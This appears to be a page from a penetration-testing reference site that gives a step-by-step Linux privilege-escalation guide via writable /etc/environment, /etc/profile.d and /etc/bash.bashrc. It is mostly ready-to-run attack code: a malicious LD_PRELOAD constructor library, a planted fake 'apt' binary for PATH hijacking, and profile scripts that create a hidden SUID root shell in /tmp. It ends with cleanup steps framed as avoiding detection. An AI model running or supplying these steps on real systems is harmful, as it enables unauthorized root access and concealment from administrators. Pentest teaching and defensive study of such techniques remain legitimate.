Skip to content
HackIndex logo

HackIndex

Writable /etc/environment for Privilege Escalation

4 min read Jul 14, 2026

/etc/environment is a system-wide environment file sourced at PAM login — it applies to every user including root, and to every login method including SSH, su, and GUI login. If writable, injecting LD_PRELOAD, PATH, or PYTHONPATH here causes your payload to load the next time root opens a session. Combined with a service restart or admin login, this is a reliable escalation path.

Prerequisites Check

Check write access to environment files:

┌──(kali㉿kali)-[~]
└─$ ls -la /etc/environment 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ ls -la /etc/profile 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ ls -la /etc/profile.d/ 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ find /etc/profile.d/ -writable 2>/dev/null
 
┌──(kali㉿kali)-[~]
└─$ test -w /etc/environment && echo "WRITABLE: /etc/environment"
┌──(kali㉿kali)-[~]
└─$ test -w /etc/profile && echo "WRITABLE: /etc/profile"

Check the current content to understand what is already set:

┌──(kali㉿kali)-[~]
└─$ cat /etc/environment
┌──(kali㉿kali)-[~]
└─$ cat /etc/profile
┌──(kali㉿kali)-[~]
└─$ ls -la /etc/profile.d/

Technique 1 — LD_PRELOAD Injection via /etc/environment

/etc/environment is read by PAM and applied before user shells load. Adding LD_PRELOAD here causes the specified library to be loaded by every dynamically linked program that starts in a new session — including any sudo calls, service restarts, or root login sessions.

Step 1 — Compile the malicious shared library:

/tmp/preload.c

#include <stdlib.h>
#include <unistd.h>

void __attribute__((constructor)) init() {
    unsetenv("LD_PRELOAD");
    setuid(0);
    setgid(0);
    system("cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash");
}
┌──(kali㉿kali)-[~]
└─$ gcc -shared -fPIC -nostartfiles -o /tmp/preload.so /tmp/preload.c

Step 2 — Inject into /etc/environment:

┌──(kali㉿kali)-[~]
└─$ echo 'LD_PRELOAD=/tmp/preload.so' >> /etc/environment

Step 3 — Wait for root to open a new session or for a privileged service to restart.

Check when services restart or if an admin login is expected:

┌──(kali㉿kali)-[~]
└─$ # Check scheduled restarts
┌──(kali㉿kali)-[~]
└─$ systemctl list-timers | grep -i restart
┌──(kali㉿kali)-[~]
└─$ grep -r "restart\|reload" /etc/cron* 2>/dev/null

After root opens a new session or any non-SUID binary starts in that session:

┌──(kali㉿kali)-[~]
└─$ /tmp/.rootbash -p

Important: LD_PRELOAD in /etc/environment is typically honoured by PAM-launched processes but ignored by SUID binaries and services launched by systemd (which resets the environment). It is most effective when root opens an interactive login session.

Technique 2 — PATH Injection via /etc/environment

Prepend a writable directory to PATH, then plant a malicious binary there with the same name as something root calls:

┌──(kali㉿kali)-[~]
└─$ # Read the current PATH
┌──(kali㉿kali)-[~]
└─$ cat /etc/environment | grep PATH
 
┌──(kali㉿kali)-[~]
└─$ # Prepend /tmp to PATH
┌──(kali㉿kali)-[~]
└─$ sed -i 's|PATH="|PATH="/tmp:|' /etc/environment
┌──(kali㉿kali)-[~]
└─$ # Or if PATH is not quoted
┌──(kali㉿kali)-[~]
└─$ sed -i 's|PATH=|PATH=/tmp:|' /etc/environment
┌──(kali㉿kali)-[~]
└─$ # Or append a new line
┌──(kali㉿kali)-[~]
└─$ echo 'PATH="/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"' >> /etc/environment

Plant a malicious binary in /tmp:

┌──(kali㉿kali)-[~]
└─$ echo '#!/bin/sh' > /tmp/apt
┌──(kali㉿kali)-[~]
└─$ echo 'cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash' >> /tmp/apt
┌──(kali㉿kali)-[~]
└─$ chmod +x /tmp/apt

For the full PATH hijacking workflow see https://hackindex.io/platforms/linux/privilege-escalation/writable-path-hijacking.

Technique 3 — /etc/profile.d/ Script Injection

Scripts in /etc/profile.d/ are sourced by bash and sh for every interactive login. Writing a new script there is equivalent to writing to /etc/profile and affects all users.

┌──(kali㉿kali)-[~]
└─$ # Check if writable
┌──(kali㉿kali)-[~]
└─$ ls -la /etc/profile.d/
┌──(kali㉿kali)-[~]
└─$ find /etc/profile.d/ -writable 2>/dev/null
 
┌──(kali㉿kali)-[~]
└─$ # Inject a new script
┌──(kali㉿kali)-[~]
└─$ cat > /etc/profile.d/privesc.sh << 'EOF'
#!/bin/sh
cp /bin/bash /tmp/.rootbash
chmod u+s /tmp/.rootbash
EOF
┌──(kali㉿kali)-[~]
└─$ chmod +x /etc/profile.d/privesc.sh

Fires the next time any user opens an interactive login shell — including root via SSH or su -.

Technique 4 — /etc/bash.bashrc Injection

Sourced by interactive non-login bash shells. Less reliable than /etc/profile.d/ but worth checking:

┌──(kali㉿kali)-[~]
└─$ ls -la /etc/bash.bashrc 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ test -w /etc/bash.bashrc && echo "WRITABLE"
 
┌──(kali㉿kali)-[~]
└─$ echo 'cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash' >> /etc/bash.bashrc

Cleanup

After escalating, remove your injected lines to avoid detection and system instability:

┌──(kali㉿kali)-[~]
└─$ # Remove LD_PRELOAD from /etc/environment
┌──(kali㉿kali)-[~]
└─$ sed -i '/LD_PRELOAD/d' /etc/environment
 
┌──(kali㉿kali)-[~]
└─$ # Remove injected PATH entry
┌──(kali㉿kali)-[~]
└─$ sed -i 's|/tmp:||' /etc/environment
 
┌──(kali㉿kali)-[~]
└─$ # Remove injected script
┌──(kali㉿kali)-[~]
└─$ rm /etc/profile.d/privesc.sh
 
┌──(kali㉿kali)-[~]
└─$ # Remove SUID shell
┌──(kali㉿kali)-[~]
└─$ rm /tmp/.rootbash

References